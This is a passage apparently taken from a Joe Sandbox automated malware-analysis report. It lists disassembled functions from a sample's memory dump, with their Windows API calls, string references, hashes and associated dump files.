GetLastError.KERNEL32(?,?,00B036E9,00B03355), ref: 00B03700
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B0370E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B03727
SetLastError.KERNEL32(00000000,?,00B036E9,00B03355), ref: 00B03779

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a71b39fc16fa8f77b04785ecead54ace1dbd5dc8006bf57c13e92e054c6a4bdd
Instruction ID: fadc0c57d49ef327e8b9ef96e326eeb39afb602055536a40fbb32ac6730a3ccc
Opcode Fuzzy Hash: a71b39fc16fa8f77b04785ecead54ace1dbd5dc8006bf57c13e92e054c6a4bdd
Instruction Fuzzy Hash: 1B01D4B661E3116EE63527B8ACDE96A2EECEB16FB172003B9F211460F1FF524D425140

Function 00B130E7 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00B04D53,00000000,?,?,00B068E2,?,?,00000000), ref: 00B130EB
_free.LIBCMT ref: 00B1311E
_free.LIBCMT ref: 00B13146
SetLastError.KERNEL32(00000000,?,00000000), ref: 00B13153
SetLastError.KERNEL32(00000000,?,00000000), ref: 00B1315F
_abort.LIBCMT ref: 00B13165

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: f4a068eaa6f3b364c10d5200e8e406dc2cfe0acfb3e2966f133ded3cc795540f
Instruction ID: 9a3ed7ce5f4205e333341dea99cf6b0d968aa46a34443771df3b20048843533a
Opcode Fuzzy Hash: f4a068eaa6f3b364c10d5200e8e406dc2cfe0acfb3e2966f133ded3cc795540f
Instruction Fuzzy Hash: 07F0A47654450076C2122735AC47ADA26EADFC2F70BA104E9F92CF32D1FE608AE24161

Function 00B79480 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00AE1F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00AE1F87
Part of subcall function 00AE1F2D: SelectObject.GDI32(?,00000000), ref: 00AE1F96
Part of subcall function 00AE1F2D: BeginPath.GDI32(?), ref: 00AE1FAD
Part of subcall function 00AE1F2D: SelectObject.GDI32(?,00000000), ref: 00AE1FD6

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00B794AA
LineTo.GDI32(?,00000003,00000000), ref: 00B794BE
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00B794CC
LineTo.GDI32(?,00000000,00000003), ref: 00B794DC
EndPath.GDI32(?), ref: 00B794EC
StrokePath.GDI32(?), ref: 00B794FC

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 83bb2c3e2e3af0f93f8de542ec60be87b875a06dc7ecd8f23add9fb77bce12dd
Instruction ID: a6ac6a97311f1b43cb7f279f3a91e0a2012c381ff3e3c92e913e7bd0dbdd4323
Opcode Fuzzy Hash: 83bb2c3e2e3af0f93f8de542ec60be87b875a06dc7ecd8f23add9fb77bce12dd
Instruction Fuzzy Hash: 2E110972000109BFEB129F94DC89E9A7FADEF083A0F04C165FA195A1A1CB719D95DBA0

Function 00B45B61 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B45B7C
GetDeviceCaps.GDI32(00000000,00000058), ref: 00B45B8D
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B45B94
ReleaseDC.USER32(00000000,00000000), ref: 00B45B9C
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00B45BB3
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00B45BC5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: c432d9de6063efb31df425a9dddf15bc7724b260f83285cf42fa063c38d30205
Instruction ID: bd854f137357812e9dc53a2d65504c68d13aae1f747f8390edfd560c5b314a00
Opcode Fuzzy Hash: c432d9de6063efb31df425a9dddf15bc7724b260f83285cf42fa063c38d30205
Instruction Fuzzy Hash: 6D014F75A00718BBEB11AFA59C49E4EBFB8EF49751F0040A5FA09A7281DA709D00DBA0

Function 00AE327E Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AE32AF
MapVirtualKeyW.USER32(00000010,00000000), ref: 00AE32B7
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AE32C2
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AE32CD
MapVirtualKeyW.USER32(00000011,00000000), ref: 00AE32D5
MapVirtualKeyW.USER32(00000012,00000000), ref: 00AE32DD

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 2e6deec630912b9f91a3fa766c1f6763ca43969e78047444dc4707008b10c33d
Instruction ID: fe99bacd28de09dcda0ea72e1ed604fe23bbc5820bef020c581bb69bdc8643a0
Opcode Fuzzy Hash: 2e6deec630912b9f91a3fa766c1f6763ca43969e78047444dc4707008b10c33d
Instruction Fuzzy Hash: F1016CB09017597DE3009F5A8C85B52FFB8FF19354F00411B915C47941C7F5A864CBE5

Function 00B4F437 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00B4F447
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00B4F45D
GetWindowThreadProcessId.USER32(?,?), ref: 00B4F46C
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B4F47B
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B4F485
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B4F48C

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 21325abca50649bc86cfcbe2e75dbd6703bb2618159a832011d544e2aa0de56f
Instruction ID: bdcb7f5af03f0986460fe81e2dcb0587eec240cb8be383e6045d5254e9131936
Opcode Fuzzy Hash: 21325abca50649bc86cfcbe2e75dbd6703bb2618159a832011d544e2aa0de56f
Instruction Fuzzy Hash: 66F03032241158BBE72157629C0EEEF3B7CEFC6B51F000058F60AA2190DBA05A81D6B5

Function 00B234D6 Relevance: 9.0, APIs: 6, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00B234EF
SendMessageW.USER32(?,00001328,00000000,?), ref: 00B23506
GetWindowDC.USER32(?), ref: 00B23512
GetPixel.GDI32(00000000,?,?), ref: 00B23521
ReleaseDC.USER32(?,00000000), ref: 00B23533
GetSysColor.USER32(00000005), ref: 00B2354D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 21b77edc3c28cde26bffc704d019ebfc7e57b75541f0a39fd3dbc9b37b44d936
Instruction ID: 467caf431a5f736864f838ad9a1609a2f746e566dc14ee549327685fccda1b16
Opcode Fuzzy Hash: 21b77edc3c28cde26bffc704d019ebfc7e57b75541f0a39fd3dbc9b37b44d936
Instruction Fuzzy Hash: A9011231500215EFDB505FA4EC09BAA7BF5FF18761F500260FA1EA31A0CF321E91AB10

Function 00B421C1 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B421CC
UnloadUserProfile.USERENV(?,?), ref: 00B421D8
CloseHandle.KERNEL32(?), ref: 00B421E1
CloseHandle.KERNEL32(?), ref: 00B421E9
GetProcessHeap.KERNEL32(00000000,?), ref: 00B421F2
HeapFree.KERNEL32(00000000), ref: 00B421F9

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 2b5a2947f4b3e3bbdf35537cc7dfec5e909e63dc400fafab70b52c1d57f82ac5
Instruction ID: 6b0b4d792cc2b945106ad2f32c496b571e331ba2301f300293f503618a47a9d3
Opcode Fuzzy Hash: 2b5a2947f4b3e3bbdf35537cc7dfec5e909e63dc400fafab70b52c1d57f82ac5
Instruction Fuzzy Hash: B4E0E576004105BBDB011FA1EC0C90ABF39FF493A2B504220F22A97870CF3294A0DB50

Function 00B4CE7B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE41EA: _wcslen.LIBCMT ref: 00AE41EF

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B4CF99
_wcslen.LIBCMT ref: 00B4CFE0
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B4D047
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00B4D075

Strings

0, xrefs: 00B4CF5A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: a4157170ba9f739718cbcdab6c9d2bf659c7e6aff6afc7dc8e109954623495ff
Instruction ID: af4f873df1d767fe661797a77e9a89d4fc5ad71e29ae145d17c448943149abab
Opcode Fuzzy Hash: a4157170ba9f739718cbcdab6c9d2bf659c7e6aff6afc7dc8e109954623495ff
Instruction Fuzzy Hash: FB5110316043009BD724AF28C894B7BBBE8EF55714F040AADF995D32E0DBB4CE49A752

Function 00B6B7C4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00B6B903

Part of subcall function 00AE41EA: _wcslen.LIBCMT ref: 00AE41EF

GetProcessId.KERNEL32(00000000), ref: 00B6B998
CloseHandle.KERNEL32(00000000), ref: 00B6B9C7

Strings

@, xrefs: 00B6B8D2
<, xrefs: 00B6B8CB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 58892834bef2fdcd1b844e7331dfebbc8565ad83f88a691a46b9eb0b9691768a
Instruction ID: b99e465a399b9578a52c9a0189850fae06ff0fae471428aac07408ddd7ffb798
Opcode Fuzzy Hash: 58892834bef2fdcd1b844e7331dfebbc8565ad83f88a691a46b9eb0b9691768a
Instruction Fuzzy Hash: F8715875A00255DFCB10EF95C594A9EBBF4FF08310F048499E85AAB392CB79ED85CB90

Function 00B47B05 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B47B6D
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00B47BA3
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00B47BB4
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B47C36

Strings

DllGetClassObject, xrefs: 00B47BA9

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 4f906c9ad03036e5b4dde6511819ed0b6b4b5250fc28753c481d267a4d39db42
Instruction ID: 67f03ba3b3d36566946d6e6469d8f79c4e2b009f214634909a9ca692ce910d12
Opcode Fuzzy Hash: 4f906c9ad03036e5b4dde6511819ed0b6b4b5250fc28753c481d267a4d39db42
Instruction Fuzzy Hash: 2A4191B1648204EFDB15DF64D8C4A9A7BF9EF44310F1480E9A909AF206DBB0DE44DBA0

Function 00B74818 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B748D1
IsMenu.USER32(?), ref: 00B748E6
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B7492E
DrawMenuBar.USER32 ref: 00B74941

Strings

0, xrefs: 00B74825

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: adae94a948b95f4686d09886b0b2fd5d3fafd5b1bd8c32dda9c7f07752c68bda
Instruction ID: 42951a00ec1d188ea32685ccebab9132bd144ba02429ab6b8468926c1850bec6
Opcode Fuzzy Hash: adae94a948b95f4686d09886b0b2fd5d3fafd5b1bd8c32dda9c7f07752c68bda
Instruction Fuzzy Hash: D8415B75A00209EFDB10CF95D884EABBBF9FF06365F0481A9EA6997250D730ED44CB60

Function 00B4272F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B445FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B44620

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00B427B3
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00B427C6
SendMessageW.USER32(?,00000189,?,00000000), ref: 00B427F6

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

Strings

ComboBox, xrefs: 00B4273D
ListBox, xrefs: 00B42772

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: f7f8df8533b25b1530c312adc0cb09b88cf837b2f6a983423040220a66a76c2d
Instruction ID: 523d5b65c1e228c13a46a19689ab165241ab9b6b83d76b306f42cc411468c1bc
Opcode Fuzzy Hash: f7f8df8533b25b1530c312adc0cb09b88cf837b2f6a983423040220a66a76c2d
Instruction Fuzzy Hash: 4D21F171900104BEDB09ABA4DC8ADFFBBF8DF453A0B504169F425A71E1DF394E0AA660

Function 00B739B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00B73A29
LoadLibraryW.KERNEL32(?), ref: 00B73A30
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00B73A45
DestroyWindow.USER32(?), ref: 00B73A4D

Strings

SysAnimate32, xrefs: 00B73A04

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 49a7cbe833e16a25638f8e46f06ea191c85b1b377ab0dc8ef1c2faa6c574e5e8
Instruction ID: 89617cb17898cb3b13848ec6cf1aa485667944f04c63f679de5977f4ba4182c9
Opcode Fuzzy Hash: 49a7cbe833e16a25638f8e46f06ea191c85b1b377ab0dc8ef1c2faa6c574e5e8
Instruction Fuzzy Hash: 1521CD71600205AFEB108F64DC81EAF37E9EF44B64F109258FAA9920E0C771CD80AB60

Function 00B050DD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00B0508E,?,?,00B0502E,?,00BA98D8,0000000C,00B05185,?,00000002), ref: 00B050FD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B05110
FreeLibrary.KERNEL32(00000000,?,?,?,00B0508E,?,?,00B0502E,?,00BA98D8,0000000C,00B05185,?,00000002,00000000), ref: 00B05133

Strings

mscoree.dll, xrefs: 00B050F6
CorExitProcess, xrefs: 00B05108

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fe89030d2f9f9b5edaa70f96b0a16e7cf60c7eb8c94572b5deaa777518b3240e
Instruction ID: 7f06700cedf287d63c8ede234e95e6c4d8cec82d3c52a79e0092494d50ee6e17
Opcode Fuzzy Hash: fe89030d2f9f9b5edaa70f96b0a16e7cf60c7eb8c94572b5deaa777518b3240e
Instruction Fuzzy Hash: 78F04474901208BBDB115F94DC49BAEBFF8EF44752F4400A8F809B25A0DF745D91CB95

Function 00B3E778 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00B3E785
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00B3E797
FreeLibrary.KERNEL32(00000000), ref: 00B3E7BD

Strings

GetSystemWow64DirectoryW, xrefs: 00B3E791
X64, xrefs: 00B3E680

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: 0c1d89a7004ffbb42ca4e6445214465c958f5db08b59331fc0722cdc79bf1efa
Instruction ID: 3696dc139a592004eeac73ad46e58cf6c83a9edc0f1dd1dc888d120d99dcd00b
Opcode Fuzzy Hash: 0c1d89a7004ffbb42ca4e6445214465c958f5db08b59331fc0722cdc79bf1efa
Instruction Fuzzy Hash: 38E0E5719056149FE73157208C84FA932B4AF21741F2401EAF915F35A0DF30CC80C654

Function 00AE6607 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B25657,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE6610
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00AE6622
